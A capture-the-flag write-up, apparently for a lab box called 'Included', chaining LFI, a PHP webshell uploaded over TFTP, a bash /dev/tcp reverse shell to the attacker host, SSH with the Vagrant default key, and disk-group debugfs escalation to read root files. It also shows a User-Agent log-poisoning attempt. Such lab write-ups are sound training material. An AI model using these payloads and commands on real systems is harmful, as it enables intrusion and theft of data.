TL;DR

Included is a Linux box with a PHP web app using include() with a ?file= parameter. LFI reads /proc/net/udp revealing TFTP on UDP/69. Upload shell.php to the TFTP root via tftp, then trigger LFI to execute it. vagrant group membership on the machine points to a Vagrant dev VM — the default insecure private key gives SSH. The vagrant user is in the disk group — debugfs reads root’s home directory directly.

Recon

1. Port scan

$ nmap -Pn -sV -sC -p- --min-rate 1000 10.129.x.x

80/tcp open  http  Apache httpd 2.4.41

Only TCP 80. UDP scan for TFTP:

$ sudo nmap -sU -p 69 10.129.x.x
69/udp open|filtered tftp

LFI Discovery

2. File inclusion parameter

$ curl "http://10.129.x.x/?file=/etc/passwd"
root:x:0:0:root:/root:/bin/bash
...
vagrant:x:1000:1000::/home/vagrant:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Classic include($_GET['file']) without path restriction.

3. TFTP root via /proc/net/udp

$ curl "http://10.129.x.x/?file=/proc/net/udp"
  sl  local_address rem_address   st tx_queue rx_queue
   0: 00000000:0045 00000000:0000 07 00000000:00000000
# 0x0045 = 69 decimal = TFTP port

TFTP is running and bound to all interfaces.

RCE via TFTP Upload + LFI

4. Upload webshell over TFTP

$ echo '<?php system($_GET["cmd"]); ?>' > shell.php
$ tftp 10.129.x.x
tftp> put shell.php
Sent 31 bytes in 0.0 seconds

TFTP default upload directory: /var/lib/tftpboot/

5. LFI executes the shell

$ curl "http://10.129.x.x/?file=/var/lib/tftpboot/shell.php&cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Upgrade to reverse shell:

$ curl "http://10.129.x.x/?file=/var/lib/tftpboot/shell.php" \
  --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1'"

www-data@included:/var/www/html$

Lateral Movement — vagrant

6. Vagrant default key

The vagrant user exists in /home/vagrant. Vagrant development VMs ship with a known insecure private key:

$ curl -o vagrant.key \
  https://raw.githubusercontent.com/hashicorp/vagrant/main/keys/vagrant
$ chmod 600 vagrant.key
$ ssh -i vagrant.key vagrant@10.129.x.x
vagrant@included:~$ cat user.txt
[user flag]

Privilege Escalation — disk group

7. Group membership check

vagrant@included:~$ id
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant),4(adm),24(cdrom),30(dip),46(plugdev),113(lpadmin),114(sambashare),1001(disk)

The disk group grants raw read access to block devices.

8. debugfs → root

vagrant@included:~$ debugfs /dev/sda1
debugfs 1.45.5
debugfs: ls /root
      12 (4) .      11 (4) ..
  131117 (24) .bash_history   131120 (16) .bashrc
  131118 (12) .profile        131121 (12) root.txt

debugfs: cat /root/root.txt
[root flag]

What’s actually broken

#VulnerabilitySeverity
1LFI via include() without path restrictionHigh
2TFTP with no authentication (world-writable)High
3Vagrant default insecure SSH key left on systemCritical
4disk group membership for vagrant userCritical

Lessons learned

  • LFI + writable TFTP = RCE. The LFI → TFTP chain is elegant: TFTP doesn’t require auth to upload, and LFI can include any file the web process can read. The TFTP root is typically readable by web processes.
  • Vagrant is for development — never leave it on internet-facing systems. The insecure private key is by design for local development. On any production-adjacent machine, vagrant should be removed entirely.
  • disk group is a local root equivalent. Raw block device access bypasses all filesystem permissions. disk group membership should never be granted to non-administrator users.
  • /proc/net/udp leaks UDP services. When UDP services are obscured from TCP port scans, the proc filesystem often reveals them if you have file read access.

Decision archaeology

ApproachResultPivot
Attempted log poisoning via Apache access log (User-Agent injection)curl -A '<?php system($_GET["cmd"]); ?>' http://10.129.x.x/ followed by LFI /var/log/apache2/access.logPermission denied — www-data lacked read access to /var/log/apache2/Found /proc/net/udp via LFI: hex port 0x0045=69 → TFTP running, shifted to TFTP upload vector
First tftp put shell.php — file uploaded but LFI returned empty outputTransferred in ASCII mode; PHP file was silently corrupt (newlines mangled)Ran binary in tftp session, re-uploaded — LFI executed correctly
Tried vagrant:vagrant SSH passwordPermission denied (publickey) — password auth disabled, key-onlyDownloaded Vagrant default insecure private key from GitHub, chmod 600, SSH succeeded

References